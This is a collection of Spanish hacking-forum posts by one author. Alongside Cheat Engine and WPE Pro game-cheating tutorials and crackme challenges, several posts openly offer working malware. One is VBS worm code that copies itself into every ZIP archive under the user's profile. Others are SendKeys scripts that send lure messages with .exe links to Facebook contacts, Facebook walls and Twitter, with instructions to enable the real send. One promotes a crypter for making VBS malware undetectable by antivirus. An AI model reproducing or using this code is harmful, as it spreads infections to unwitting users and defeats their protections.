A la derecha aparece el stack y los registros. Lo que nos interesa son los registros para poder conocer la base-address de nuestra estructura. La instrucción es sub [ebx+50],eax por lo que el valor de EBX nos mostrará la base-address, en mi caso 03918860. Pulsamos click-derecho sobre EBX y seleccionamos "Show in hex view":



Automáticamente, en la parte inferior (Hex Dump) nos mostrará la dirección de EBX (03918860), en mi caso:



Lo que tenemos que hacer ahora es coger esos bytes y copiarlos a nuestras notas. Yo siempre cojo 3 líneas. Para ello con el ratón seleccionamos desde el primer byte hasta el último (se quedarán marcados en rojo) y pulsamos Ctrl+C para copiar, a continuación los pegamos en nuestro fichero de texto:





Esos son los bytes que se corresponden a la base-address de la estructura de nuestro personaje. Ahora hay que repetir todos éstos pasos un mínimo de 3 veces. Para ello pulsaremos F9 en la ventana de Memory View para continuar la ejecución a partir del Breakpoint y luego cerraremos por completo el juego. Abriremos de nuevo el juego, iniciaremos una nueva partida y volveremos a seleccionar el proceso de Hack, Slash, Loot para trabajar con CE. A partir de aquí hay que repetir los pasos de éste tutorial, es decir:
•   Iniciar el Memory View
•   Ir a la instrucción que modifica la estructura, en nuestro caso HackSlashLoot.exe+150474
•   Poner un Breakpoint
•   Iniciar un combate en el juego hasta recibir daño
•   Mirar los registros (EBX) y hacer "Show in hex view"
•   Copiar los bytes al fichero de texto
•   Cerrar el juego y volverlo a iniciar para empezar de nuevo
Estos pasos los he realizado 5-6 veces y al final he conseguido las siguientes líneas:



Ahora solo tenemos que calcular un patrón válido partiendo de éstas muestras. Se puede hacer a mano, pero para los más perezosos he programado un script en lenguaje VBS que realizará el cálculo automáticamente

SCRIPT VBS - AOB PATTERN GENERATOR
El código VBS está en pastebin, solo tienes que copiarlo en un notepad y guardarlo con extensión *.vbs
http://pastebin.com/tQsvbSkh
Set oWSH = CreateObject("WScript.Shell")
Set oFSO = CreateObject("Scripting.FileSystemObject")

T = InputBox("Enter array of bytes nº 1:")
T = T & vbcrlf & InputBox("Enter array of bytes nº 2:")

X = 3
While MsgBox("Do you want to introduce another array of bytes?", vbYesNo, "AoB Pattern Generator") = vbYes
   T = T & vbcrlf & InputBox("Enter array of bytes nº " & X &":")
   X = X + 1
Wend

AoB = Split(T, vbcrlf)

F = ""
W = 0
X = 0
For i = 1 To Len(AoB(0))
   For u = 1 To UBound(AoB)
      If Mid(AoB(u), i, 1) <> Mid(AoB(0), i, 1) Then
         F = F & "?"
         W = W + 1
         X = 1
         Exit For
      End If
   Next
   If X <> 1 Then F = F & Mid(AoB(0), i, 1)
   X = 0
Next

Set File = oFSO.CreateTextFile("aob.txt")
   File.Write "Original array of bytes:" & vbcrlf & vbcrlf
   File.Write Replace(T, vbcrlf & vbcrlf, vbcrlf) & vbcrlf & vbcrlf
   File.Write "Total array of bytes: " & UBound(AoB) + 1 & vbcrlf
   File.Write "Total wildcards used: " & W & vbcrlf & vbcrlf
   File.Write "Your AoB Pattern:" & vbcrlf & vbcrlf & F
File.Close

'MsgBox F

If MsgBox("AoB Patter Generator finished" & vbcrlf & vbcrlf & "Do you want to open aob.txt file?", vbYesNo, "AoB Pattern Generator") = vbYes Then
   oWSH.Run "notepad.exe aob.txt"
End If
El script comparará todos los bytes y buscará un patrón. Si un byte no coincide será sustituido por el carácter ?. Al final, mi script me dice que el Array of Bytes (AoB) es:
18 12 BB 00 0? 00 00 00 ?? ?? ?? 0? ?? ?? ?? 0? 03 00 00 00 03 00 00 00 ?? 00 00 00 ?? 00 00 00 0? 00 00 00 ?? ?? ?? 0? 00 00 00 00 ?? ?? ?? ??

Como puedes observar, se puede calcular fácilmente a mano, solo hay que sustituir los bytes que no son iguales por un simbolo de interrogación. Ahora ya tenemos un array de bytes que identificará la base-address de la estructura. Volvemos al CE, abrimos el Memory View y nos vamos al editor de Auto-Assemble (Ctrl+A) en el menu "Tools", en el editor pegamos el siguiente código:
[ENABLE]
aobscan(player, 18 12 BB 00 0? 00 00 00 ?? ?? ?? 0? ?? ?? ?? 0? 03 00 00 00 03 00 00 00 ?? 00 00 00 ?? 00 00 00 0? 00 00 00 ?? ?? ?? 0? 00 00 00 00 ?? ?? ?? ??)
label(_player)
registersymbol(_player)
player:
_player:
[DISABLE]
unregistersymbol(_player)
Solo tendrás que sustituir el array AoB por el valor que hayas encontrado. Una vez copiado el texto vamos al menu: "File / Asign to current cheat table" para añadir el script a la tabla, obtendremos lo siguiente:



Mi recomendación es que edites los nombres para no confundirte:



El script es muy sencillo, cuando lo activamos lanzamos un AoB Scan (buscar un array de bytes) y le indicamos que busque nuestro patrón de bytes, CE localizará la coincidencia y nos devolverá el resultado en la etiqueta _player. Eso significará que podremos utilizar la etiqueta _player para referirnos al inicio de la estructura (base-address).
Volvemos al CE y seleccionamos "Add Address Manually"


En el recuadro hay que poner la dirección que queremos añadir, como la dirección es dinámica, introduciremos la variable _player, añadimos tambien una descripción para no confundirnos:



Pulsamos OK y se añadirá la dirección:



Actualmente CE no reconoce la dirección _player, por eso no muestra nada. Ahora lo que haremos es activar el script con el AoB y sucederá la magia...

Tachan!! CE ha ejecutado el AoB, ha buscado el patrón de bytes y ha devuelto el resultado en la variable _player, ahora CE ya sabe el valor de dicha dirección y nos muestra 0FF3AAA0 que se corresponde al actual base-addres de la estructura de nuestro personaje. A partir de aquí ya tenemos el camino hecho, solo falta completarlo.
Desactivamos el script y volvemos a pulsar "Add Address Manually", añadiremos ahora la siguiente dirección:




La explicación es sencilla; estamos añadiendo una nueva dirección que será base-address+50 que según nuestras notas se corresponde al offset de la vida. Hacemos lo propio con los offsets encontrados:
•   +50   =   HP
•   +40   =   DEF
•   +34   =   Melee Atk
•   +38   =   Range Atk
•   +3c   =   Magic Atk
•   +44   =   Melee Dmg
•   +48   =   Range Dmg
•   +4c   =   Magic Dmg
Obtendremos lo siguiente:

Ahora que ya tenemos todos los offset introducidos solo falta activar el script AoB para recoger la estructura:



BAMP! De un solo golpe ya tenemos todos los valores. Además como estamos usando un AoB Scan, en la próxima ejecución del juego CE buscará la base-address y la guardará en _player, por lo que podremos visualizar y editar las direcciones dinámicas de la estructura de nuestro jugador.

Os recomiendo que con vuestro ratón ordenéis la tabla y dejéis todos los offsets "dentro" del script:



Para luego hacer click derecho en el script y seleccionar:



Así los offsets permanecerán ocultos si el script está desactivado y se mostrarán cuando activemos el script.
Bueno, pues de ésta forma se consigue encontrar un patrón de bytes que apunte a una estructura dinámica para luego sacar los offsets estáticos de su interior. Practicad!

BONUS: COMPARAR ESTRUCTURAS CON WINMERGE
TELEPORT HACK
Ya que hemos llegado hasta aquí nos podemos esforzar un poco más para terminar de rizar el rizo. Os voy a explicar como utilizar el programa WinMerge para comparar 2 estructuras y buscar los offsets de forma casi automática. Primero de todo nos descargamos WinMerge de su web y lo instalamos: http://winmerge.org/
Nuestro objetivo es crear un Teleport Hack, la mayoría de juegos almacenan en la propia estructura del personaje su posición en el plano X / Y. Si se trata de un juego en 3D tendremos un tercer eje llamado Z. En el caso de Hack, Slash, Loot, solo habrá 2 coordenadas para posicionar al jugador, vámos a intentar sacarlas.
Abrimos CE, abrimos el proceso de HSL y cargamos nuestra tabla con el pointer, los scripts en Auto-Asemble y la estructura diseccionada.


Pulsamos el script "Search Player Structure", la función AoB Scan hará su trabajo y nos devolverá la estructura rellenada:



Hemos activado el script para cargar la base-address de la estructura de nuestro jugador en la variable _player. Ahora abrimos el Memory View y vamos al menú "Tools / Dissect data & structures":



En el recuadro para la base-address podemos poner _player, CE se encargará de interpretar la variable. Abrimos el menú "Structures" y seleccionamos la estructura que ya hicimos en el capitulo anterior:




CE nos mostrará la estructura _player con sus offsets:



Ahora, sin tocar nada más, abrimos el menú: "File / Save values (Ctrl+S)" y guardamos con un nombre, por ejemplo "struct_1.txt"
A continuación volvemos al juego y desplazamos nuestro personaje un par de casillas, asegurando que mueves tanto el eje X como el Y (por ejemplo, moviéndote una casilla arriba y otra a la derecha). Volvemos a la ventana de "Structure dissect" y pulsamos de nuevo menú: "File / Save values (Ctrl+S)" para guardar la estructura, pondremos otro nombre, por ejemplo "struct_2.txt"
Ahora ya tenemos 2 ficheros de texto con la misma estructura pero con el personaje en 2 posiciones diferentes. Toca hacer trabajar a WinMerge para conocer las diferencias de ambos ficheros:



Cargamos los 2 ficheros para comparar y pulsamos Aceptar, WinMerge nos mostrará cualquier línea que esté diferente:



Y aquí tenemos claramente las diferencias, offsets +18 +1C. En la primera estructura tenian el valor de 48/14 y luego han pasado a 47/15. Ahora solo queda identificar que offset es la X o la Y y crear la dirección manual como ya vimos anteriormente:






Finalmente guardamos los cambios en nuestra tabla, activamos el script y nos movemos por la pantalla para ver funciona. Los valores de X/Y se pueden editar a mano para desplazar al jugador por la pantalla. También se podría crear un Auto-Assemble script que almacene la posición actual de X/Y y luego con un hotkey volver a setear los offsets al valor guardado para hacer un teleport-hack. Pero eso ya es algo más avanzado y tengo demasiado sueño como para seguir expllicando cosas.


DESPEDIDA
Bueno, hasta aquí el tutorial, espero que os haya gustado, me ha tomado 2 días escribirlo, tomar las fotos y maquetarlo. Espero que lo disfruten y puedan probar todas y cada una de las cosas que he explicado. Nos vemos por el foro...

MadAntrax – 26/04/2014

[eof]


Descargar PDF:
http://ns2.elhacker.net/Tutorial_Cheat_Engine_Avanzado.pdf

** Intentaré hablar con el-brujo para ver si existe alguna forma automática de traducir el tutorial a BB-Code y postearlo en el foro, por el momento posteo el ZIP para que lo podáis descargar.

http://ns2.elhacker.net/Tutorial CheatEngine Avanzado - MadAntrax.zip

Saludos! Espero respuestas y críticas (aunque sean negativas)
#13
Muy buenas a todos

Como está de moda programar en VBS, os dejo el siguiente aporte. Se trata de un pequeño script que permite añadir una ventana de "debug" para que podamos depurar y programar mejor cualquier script en VBS.

La idea la he sacado de stackoverflow, básicamente se trata de una pequeña función que crea una instancia de Internet Explorer en la que se irá añadiendo cualquier evento que nosotros queramos, con su TimeStamp. Para ello haremos lo siguiente:

Creamos un nuevo fichero que llamaremos debug.vbs con el siguiente código:

Código (vb) [Seleccionar]
Dim oMIE

Function Debug(T)
If Not IsObject( oMIE ) Then
Set oMIE = CreateObject("InternetExplorer.Application")
oMIE.Navigate "about:blank"
oMIE.Visible = True
oMIE.ToolBar = False
oMIE.Width   = 1300
oMIE.Height  = 250
oMIE.Left    = 0
oMIE.Top     = Eval(750 - 250)
Do While oMIE.Busy
WScript.Sleep 100
Loop
oMIE.Document.Title = "VBS Debug Window"
oMIE.Document.Body.InnerHTML = "<b>" & WScript.ScriptName & "</b></br></br>"
End If
oMIE.Document.Body.InnerHTML = oMIE.Document.Body.InnerHTML & "<code>" & Now & " >> " & T & "</code><br>" & vbCrLf
End Function


Éste fichero debug.vbs te servirá para cualquier futuro script VBS que quieras "debuggear". Luego, en cualquier proyecto VBS, solo tendremos que añadir las siguientes líneas al inicio del código:

Código (vb) [Seleccionar]
Sub LoadDebug
    Set FSO = CreateObject("Scripting.FileSystemObject")
   Set objFile = FSO.OpenTextFile("debug.vbs")
strCode = objFile.ReadAll
   objFile.Close
   ExecuteGlobal strCode
Set objFile = Nothing
Set FSO = Nothing
End Sub

Call LoadDebug


Para llamar a la función Debug, añadiremos la siguiente línea:

Código (vb) [Seleccionar]
Debug "ejemplo"

Así de sencillo, os dejo un ejemplo de código y se resultado con la ventana de Debug:

Código (vb) [Seleccionar]
A = 100
B = 5

C = A * B

Debug "C = " & C

Debug "My path is " & WScript.ScriptFullName
Debug "Wait 2 seconds"
WScript.Sleep 2000

V = "This is a example of string"

V = Replace(V,"i","X")

Debug "My replaced string: " & V

'.......



Debug "end >> WScript.Quit;"
WScript.Quit




Saludos!!

PD: Hay programas y editores VBS que añaden debugger reales (por ejemplo VbsEdit http://www.vbsedit.com/) pero aquí les traigo algo hand-made, gratis y divertido.
#14
Muy buenas a todos

Os traigo una pequeña función en VBS (fácilmente exportable a otros lenguajes) para infectar ficheros .zip de un disco duro. La función buscará todos los ficheros ZIP de forma recursiva en una ruta, si encuentra un fichero lo abrirá y recogerá los nombres de cada fichero comprimido, finalmente si no existe una copia del gusano en el interior del ZIP, lo infectará copiándose a si mismo:


Recomiendo el uso de Notepad++ en cuanto a programación VBS se refiere. El código queda perfectamente iluminado (highlight sintaxis). Detallo los pasos del script:

1) Creación de variables para el uso del script:

Set oWSH = CreateObject("WScript.Shell")
Set oFSO = CreateObject("Scripting.FileSystemObject")

SelfPath = WScript.ScriptFullName
SelfName = WScript.ScriptName


2) Recoger la ruta de los ficheros de la carpeta %userprofile%

   Set Folds = oFSO.GetFolder(P)
   Set Files = Folds.Files


3) Recoger la extensión de cada fichero encontrado, busca si es un .zip

ext = LCase(oFSO.GetExtensionName(File.path))

4) Creación de un objeto que permite trabajar con carpetas ZIP

Set FILE = CreateObject("Shell.Application").NameSpace(ZIP)

5) Abre el fichero .zip y busca si existe el gusano en su interior. Si no existe se copiará para infectar el fichero .zip

If Not InStr(RR,SelfName) > 0 Then
FILE.CopyHere EXE 'Spread to ZIP
F.Write ZIP & vbcrlf 'Log zipfile to TXT
WScript.Sleep 500 'Important!
End If


6) Buscamos si hay sub-carpetas, de ser así lanzaremos la búsqueda con la nueva ruta. Consiguiendo una infección recursiva en todo el árbol de directorios:

   Set File = Folds.Subfolders
   For Each Subfol In File
       Call ZipSpread(Subfol.path)
   Next


==========================================

El ejemplo dropea un fichero TXT con la ruta de los ficheros ZIP infectados. Si queréis probar el ejemplo os recomiendo que editéis la línea del final y pongáis una ruta pequeña con algunos ficheros ZIP a modo de prueba:

ZipSpread("C:\carpeta_prueba")

Os dejo el código en formato copypaste:

Código (vb) [Seleccionar]
On Error Resume Next

Set oWSH = CreateObject("WScript.Shell")
Set oFSO = CreateObject("Scripting.FileSystemObject")

SelfPath = WScript.ScriptFullName
SelfName = WScript.ScriptName

Function ZipSpread(P)
   On Error Resume Next
   Set Folds = oFSO.GetFolder(P)
   Set Files = Folds.Files
   
   For Each File In Files
       ext = LCase(oFSO.GetExtensionName(File.path))
       If ext = "zip" Then
EXE = SelfPath
ZIP = File.path
Set FILE = CreateObject("Shell.Application").NameSpace(ZIP)
RR = ""
For Each CC in FILE.Items
RR = RR & CC.Name
Next
If Not InStr(RR,SelfName) > 0 Then
FILE.CopyHere EXE 'Spread to ZIP
F.Write ZIP & vbcrlf 'Log zipfile to TXT
WScript.Sleep 500 'Important!
End If
       End If
   Next
   Set File = Folds.Subfolders
   For Each Subfol In File
       Call ZipSpread(Subfol.path)
   Next
End Function

Set F = oFSO.CreateTextFile("ZipSpread_report.txt")
ZipSpread(oWSH.ExpandEnvironmentStrings("%USERPROFILE%"))
F.Close

MsgBox "<end>"


Saludos!! :D
#15
Bueno, visto que el amigo MCKSys viola todos mis crackmes en cuestión de minutos/horas, he decidido ponerme serio. Hoy les traigo un nuevo crackme/unpackme:


Nombre: Tomate Crackme
Tipo: Unpackme / Patchme / Serialme / KeygenMe
Dificultad: 4.5/10
Packed: YES
Protected: YES
Info: Anti-Patch + Anti-VM + Anti-Debug (2 methods)
Goal: Descubrir el serial correcto y que aparezca el mensaje de felicitación. (En cada PC es un serial único)[/center]

https://www.mediafire.com/?6yo56ym5avpjmg3

- Desempacar el crackme
- Deshabilitar la NAG, cualquier método es válido (incluso parchear).
- Descubrir el serial válido correspondiente al WHID generado
- Programar un KEYGEN

Si todo se resuelve correctamente, al pulsar el botón "Register", aparecerá una venatana de felicitación (la ventana puede tardar unos segundos en aparecer). Cuando consigas resolver el crackme, postea una foto enseñando el mensaje de felicitación, así como tu HWID y serial generado.

Podéis usar el hilo para pedir pistas o ayuda. Si no podéis programar un KEYGEN, al menos postead un tuto. Suerte a todos!! :D
#16
Buenassss

Hacia meses que no me pasaba por ésta sección. He estado liado programando cosas, y entre código y código se me ocurrió un nuevo reto para vosotros:



  • Nombre: Serialme_AXE
  • Tipo: Upackme / Serialme
  • Dificultad: 4/10
  • Packed: YES
  • Protected: YES
  • Info: Descubrir el serial correcto. En cada PC es un serial único.

https://www.mediafire.com/?1eunhek5fdu4f5u

Suerte a los participantes!! Si alguien consigue sacar el serial, estaría bien un pequeño tutorial explicativo y luego el keygen (el keygen es muy fácil una vez descubres como trabaja el crackme). Se pueden pedir pistas en éste hilo.

Ánimo!! Espero al menos llegar al suficiente nivel como para que MCKSys no me reviente el reto en 2 horas xD
#18
Hola a todos

Como algunos ya habréis visto, estoy retomando mis tiempos mozos de programación. Ando liado desarrollando virus, troyanos y gusanos. Hoy vengo a compartir 3 funciones de Spread que permitirán reproducir una infección vírica usando Facebook (2 métodos) y Twitter (1 método)

El funcionamiento es muy simple. Primero de todo se tienen que dar unas circunstancias para que el "spread" sea efectivo, he realizado pruebas con usuarios reales y me he quedado asombrado con la efectividad de éste "spread". El código se aprovecha de los atajos de teclado que hay en las web's de FB y TW. Eso significa que si cambian los atajos, la función dejará de funcionar... Empecemos con la primera:

Spread usando mensajes personales de Facebook

Primero de todo, os contaré las pulsaciones que ejecuta el script para que las podáis testear en vuestro propio FB, es muy fácil:

1. Entra en www.facebook.com
2. Inicia sesión en tu perfil
3. Pulsa la combinación de teclas: ALT+M
4. Pulsa una tecla (la letra C por ejemplo)
5. Pulsa Enter y Tabulador
6. Escribe un texto y pulsa Enter

Si lo has hecho bien, verás que has enviado un mensaje a un contacto de tu lista de amigos. Pues bien, el script automatiza todas esas acciones en el PC de la víctima:

Código (vb) [Seleccionar]
Set WS = CreateObject("WScript.Shell")
call fb_msg_spread("holaa, te he etiquetado en esta foto http://www.servidor.com/mifoto.exe")

Function FB_MSG_Spread(X)
Randomize
C = Chr(Int(rnd*26)+97)

WS.run "http://www.facebook.com"
WScript.Sleep 5000

WS.SendKeys "%m"
WScript.Sleep 500

For i = 1 to Int(rnd*5)+2
WS.SendKeys C
WScript.Sleep 500
WS.SendKeys "{ENTER}"
Next

WScript.Sleep 500
WS.SendKeys "{TAB}"
WScript.Sleep 500
WS.SendKeys X
WScript.Sleep 500
'WS.SendKeys "{ENTER}"
End Function


Copiad ese código TAL CUAL en un fichero de texto y lo guardáis como VBS. La última linea esta comentada, por lo que no os preocupéis, no se va a mandar ningún mensaje a ningún contacto vuestro.

Ahora ejecutad el fichero y mirar como se reproduce la secuencia de comandos. El script calcula una letra al azar y la utiliza para enviar el mensaje a varios contactos simultaneamente. Para utilizar éste código de forma real, quita el comentario de la última línea y ya tendrás un estupendo spread por Facebook.



Spread usando noticias del muro de Facebook

Éste metodo es parecido al anterior, pero utiliza las teclas J y C para buscar una noticia al azar y enviar el comentario:

Código (vb) [Seleccionar]
Set WS = CreateObject("WScript.Shell")
call fb_txt_spread("ei, creo que te han etiquetado sin tu permiso! http://www.servidor.com/lafoto.exe")

Function FB_TXT_Spread(X)
Randomize

WS.run "http://www.facebook.com"
WScript.Sleep 5000

For i = 1 to Int(rnd*5)+1
WS.SendKeys "j"
WScript.Sleep 800
Next

WS.SendKeys "c"
WScript.Sleep 800
WS.SendKeys X
WScript.Sleep 500
'WS.SendKeys "{ENTER}"
WScript.Sleep 500
WS.SendKeys "{TAB}"
WScript.Sleep 500
WS.SendKeys "{TAB}"
WScript.Sleep 500
WS.SendKeys "j"
End Function


De igual modo que en el ejemplo anterior, podéis ejecutar éste script ya que la tecla ENTER está comentada y no hay riesgo. Para utilizar el script en un entorno real, quitad el comentario.



Spread usando un tweet en Twitter

Lo mismo que los anteriores casos, utilizando la tecla M para mandar un tweet:

Código (vb) [Seleccionar]
Set WS = CreateObject("WScript.Shell")
call tw_txt_spread("Acabo de publicar un album de fotos http://www.servidor.com/photo_album.exe")

Function TW_TXT_Spread(X)
Randomize

WS.run "http://www.twitter.com"
WScript.Sleep 6000

WS.SendKeys "n"
WScript.Sleep 800
WS.SendKeys X
WScript.Sleep 500
WS.SendKeys "{TAB}"
WScript.Sleep 500
'WS.SendKeys "{ENTER}"
End Function


Podéis probar el código, ya que la tecla ENTER también está comentada.






Bueno, espero que os haya gustado y que haya quedado clara mi explicación. Insisto, los script que he puesto los podéis probar en vuestro PC, ya que la línea que envía el mensaje a los contactos está deshabilitada con el comentario, así que no hay riesgo.

Saludos!! :D
#19
Buenas a todos, amigos del Visua Basic jajaja

Os dejo el programa + source completo de mi última creación:



Es un encriptador para fichero VBS, en proximas versiones añadiré más algoritmos.
A destacar el trabajo de la GUI, tiene muchos efectos, particulas y musicas.

Saludos!!!

POST ORIGINAL: http://foro.elhacker.net/analisis_y_diseno_de_malware/cactus_vbs_crypter_10-t409804.0.html (el source está en el link)
#20
Buenas a todos

Os traigo una nueva herramienta, Cactus VBS Crypter 1.0

Es una pequeña tool (sencilla) que cifra cualquier fichero VBS para ofuscar su código y evitar la detección por firmas de los AntiVirus. Permite dejar un fichero completamente FUD (Full Undetected).


El funcionamiento es muy sencillo, seleccionamos un fichero VBS, la cifrado deseada y pulsamos el botón "Encrypt VBS".

Por el momento, en ésta versión 1.0 solo he implementado un Engine para cifrar. En próximas versiones añadiré los algoritmos que faltan. Cada fichero cifrado con SAE es generado utilizando una semilla aleatoria de 0 hasta 10, por lo que un mismo fichero puede ser cifrado de 10 formas diferentes. Además con las opciones avanzadas podrás utilizar variables aleatorias para burlar la heurística de los AV.

Como todos mis proyectos, Cactus VBS Crypter es gratis y OpenSource.

Está programado 100% usando VisualBasic 6.0
Los efectos de la GUI también son programados en VB.

Os dejo un ejemplo de h-worm antes y después de ser cifrado:

               Filename :h-worm sample.vbs
               Type : File
               Filesize : 14266 bytes
               Date : 04/03/2014 - 00:16 GMT+2
               MD5 : c967656a556acb11b84ab5e747174b8f
               SHA1 : bd068ef682f12ca08305b5a6fd1e6d04584afea5
               Status : Infected
               Result :25/35
               
                  AVG Free - Virus found VBS/Downloader.Agent
                  ArcaVir - Heur.VBS.Generic.23
                  Avast - VBS:Agent-AOZ [Trj]
                  AntiVir (Avira) - VBSOKgent.BH.3
                  BitDefender - Worm.VBS.Dunihi.BC
                  VirusBuster Internet Security - HTML.Psyme.Gen
                  Clam Antivirus - OK
                  COMODO Internet Security - OK
                  Dr.Web - Trojan.Hworm.1
                  eTrust-Vet - VBS/Jenxcus.A
                  F-PROT Antivirus - VBS/Dunihi.A (exact)
                  F-Secure Internet Security - OK
                  G Data - Worm.VBS.Dunihi.BC, VBS:Dropper-DK [Trj]
                  IKARUS Security - Virus.VBS.Downloader
                  Kaspersky Antivirus - Worm.VBS.Dinihou.a
                  McAfee - VBSOKutorun.worm.aapj
                  MS Security Essentials - Worm:VBS/Jenxcus.K
                  ESET NOD32 - Worm.VBSOKgent.NDH
                  Norman - text/Dunihi.B
                  Norton Antivirus - OK
                  Panda Security - OK
                  A-Squared - Worm.VBS.Dunihi.BC (B)
                  Quick Heal Antivirus - VBS/HBraker.NO
                  Solo Antivirus - OK
                  Sophos - VBS/Dinihou-G
                  Trend Micro Internet Security - VBS_DUNIHI.SM2
                  VBA32 Antivirus - OK
                  Zoner AntiVirus - OK
                  Ad-Aware - Worm.VBS.Jenxcus.ah (v)
                  BullGuard - Worm.VBS.Dunihi.BC
                  Immunet Antivirus - OK
                  K7 Ultimate - NetWorm ( 0040f5f81 )
                  NANO Antivirus - Trojan.Script.Hworm.cbxvbd, Trojan.Script.Agent.chhpqc, Trojan.Script.Qhost.chhpdx
                  Panda CommandLine - OK
                  VIPRE - Worm.VBS.Jenxcus.ah (v)



               Filename : 7871_SAE.vbs
               Type : File
               Filesize : 47171 bytes
               Date : 04/03/2014 - 00:20 GMT+2
               MD5 : 387ae20ac7f3930ca8d866ea5e3b77d5
               SHA1 : ae47567be4de52035987ca3d76034b0cba369be5
               Status : Clean
               Result :0/35
               
                  AVG Free - OK
                  ArcaVir - OK
                  Avast - OK
                  AntiVir (Avira) - OK
                  BitDefender - OK
                  VirusBuster Internet Security - OK
                  Clam Antivirus - OK
                  COMODO Internet Security - OK
                  Dr.Web - OK
                  eTrust-Vet - OK
                  F-PROT Antivirus - OK
                  F-Secure Internet Security - OK
                  G Data - OK
                  IKARUS Security - OK
                  Kaspersky Antivirus - OK
                  McAfee - OK
                  MS Security Essentials - OK
                  ESET NOD32 - OK
                  Norman - OK
                  Norton Antivirus - OK
                  Panda Security - OK
                  A-Squared - OK
                  Quick Heal Antivirus - OK
                  Solo Antivirus - OK
                  Sophos - OK
                  Trend Micro Internet Security - OK
                  VBA32 Antivirus - OK
                  Zoner AntiVirus - OK
                  Ad-Aware - OK
                  BullGuard - OK
                  Immunet Antivirus - OK
                  K7 Ultimate - OK
                  NANO Antivirus - OK
                  Panda CommandLine - OK
                  VIPRE - OK
            

DESCARGA: https://www.mediafire.com/?8t7ok9se572dkx7
               
PD: Me ha costado más tiempo programar la GUI y los efectos que el propio programa. jajajajaja
#21
Bueno, tras el éxito del tutorial sobre edición de memoria local usando Cheat Engine, os traigo una nueva herramienta que nos permitirá interceptar (sniffer) modificar y enviar packetes TCP entre un cliente y un servidor externo. El programa se llama WPE Pro y en éste tutorial usaremos la versión 0.9a mod.

Para hacerlo todo más fácil, os enseñaré a trabajar con WPE mostrando un caso real (programado por mí), para que podáis tocar, editar y probar con vuestras manos. Empecemos...

Primero de todo os dejo un link donde encontraréis el WPE Pro 0.9a mod y mi ejemplo práctico que usaremos para enseñar éste sistema:


En su interior encontraremos lo siguiente:


wpepro09mod = Carpeta que contiene el WPE
CLIENTE.exe = Mi ejemplo para poner en practica éste tutorial
SERVIDOR.exe = Mi ejemplo para poner en practica éste tutorial

En la carpeta de wpepro hay una carpeta filtros con mi ejemplo ya  resuelto. Por si lo quieres ver o por si te atascas.

TEORÍA Y EXPLICACIÓN DE LAS PARTES

Abrimos el WPE, estaréis en la ventana principal, a continuación os dejo un esquema y os explicaré las partes importantes. Por favor, anotad los nombres de los botones ya que me referiré a ellos durante todo el tutorial:


1) Target Program: Nos permite seleccionar el proceso (cliente) que queremos monitorizar.
2) Trace Controls: Nos permite iniciar, pausar y detener la captura (sniffer) de paquetes. Abajo en los contadores sale el número de paquetes capturados
3) Action Console: Nos permite crear filtros y enviar paquetes modificados.

A continuación os muestro una ventana con 4 paquetes capturados. Aún no he explicado como se captura, pero primero quiero que veáis que datos nos muestra y que significa cada cosa:


1) Contador: Muestra el número de paquetes capturados en una sesión
2) Paquetes: Indicador numérico de los paquetes recibidos
3) Source / Destination: Aparece la IP y puerto del cliente y del servidor
4) Tamaño: Indica el tamaño del paquete (número de offsets)
5) Tipo de paquete: Puede ser Send o Recv. Nos indica si es un paquete de entrada o salida
6) Datos: Nos muestra en HEX y ASCII los datos del paquete.

A modo de resumen, en la imagen de ejemplo se ven 4 paquetes capturados, 2 de Envío (send) y 2 de respuesta (Recv). Fácil, no? Ahora os enseñaré que pinta tiene el editor de paquetes (filtros), no os asustéis, es más sencillo de lo que parece:


1) Datos el filtro: Indicamos el patrón de offsets que buscamos y los offsets que modificamos
2) Tipo de filtro: En el ejemplo; Normal

Éste tipo de filtro (normal) no me gusta usarlo, a continuación os enseño el avanzado:


1) Datos el filtro: Indicamos el patrón de offsets que buscamos y los offsets que modificamos
2) Filtrar en: Indicamos que tipo de paquetes serán afectados por éste filtro (en el ejemplo; los de tipo Recv
3) Tipo de modificación: Indicamos si modificaremos todo el paquete o desde el offset encontrado

Bien, hasta aquí ya conocéis y podéis identificar las principales partes del programa, ahora vamos a practicar con un ejemplo, para ello ejecutamos el CLIENTE y SERVIDOR que hay en la carpeta (los he programado yo). Básicamente pretende ser un videojuego muy sencillo que permite abrir cofres y comprar objetos (items), aquí os dejo la ventana del CLIENTE y del SERVIDOR:



EMPEZAMOS CON EL TUTORIAL PRACTICO
CAPTURAR PAQUETES

Ejecutad el WPE, el CLIENTE y el SERVIDOR, seguid los siguientes pasos:

- Pulsar START SERVER en la ventana SERVIDOR
- Pulsar CONECTAR en la ventana CLIENTE

Si lo habéis hecho bien, os aparecerán los siguientes mensajes:


Bien, el ejemplo que he programado es sencillo. El CLIENTE se conecta al SERVIDOR y envía una serie de paquetes, el SERVIDOR los comprueba y devuelve una respuesta, así de sencillo. En la ventana del CLIENTE, pulsa el botón abrir cofre y comprar item:


Podrás observar como el cliente envía la petición de abrir un cofre y el servidor la procesa (genera entre 1 y 5 monedas) y las envía al cliente.

En el caso de comprar item... tenemos 500 monedas y el item cuesta 2300, así que el servidor nos deniega la compra :(

Bien, ya tenemos nuestro juego ejecutándose y ya sabes como funciona, ahora vamos a empezar con lo bueno: capturar paquetes y engañar al servidor jeje. Pulsamos en WPE el botón de TARGET y seleccionamos el proceso del CLIENTE:


Una vez hecho ésto, pulsamos el botón de PLAY del TRACE CONTROL, así iniciaremos la captura de paquetes. Mientras esté el botón de PLAY pulsado, WPE irá capturando todos los paquetes que se envíen y reciban.

Nos situamos en el CLIENTE y pulsamos 1 vez en abrir cofre y 1 vez en comprar item, debería ocurrir lo siguiente:


Si lo has hecho bien, habrás capturado 4 paquetes (fíjate en el contador de paquetes). Ahora pulsa en el botón STOP para detener el sniffer y automáticamente veremos la ventana de paquetes capturados:


Bieeeeen!! acabas de capturar tus primeros 4 paquetes!! Tómate tu tiempo para ver que has capturado, intenta entender el formato de los paquetes. Para éste tutorial lo he hecho MUY sencillo. Si te fijas, se trata de una comunicación entre el CLIENTE y el SERVIDOR; cuando has pulsado en abrir cofre, el cliente ha mandado (send) un paquete cuyo mensaje es OpenChest#1 y automáticamente el servidor ha devuelto un paquete cuyo mensaje es GetCoins#3 (en mi caso he obtenido 3, tu puedes obtener entre 1 y 5, en un número random).

Se entiende? Creo que es bastante sencillo.

ENVIAR PAQUETES CAPTURADOS

Ahora que tenemos capturado el paquete que indica la acción de abrir un cofre, lo añadiremos a WPE para poder enviarlo de forma abusiva jeje, hacemos lo siguiente:

Pulsamos botón derecho sobre el primer paquete (send) y seleccionamos Add to Send List:


Ahora vuelve a hacer click derecho y selecciona la última opción Set Send List with this socket ID:


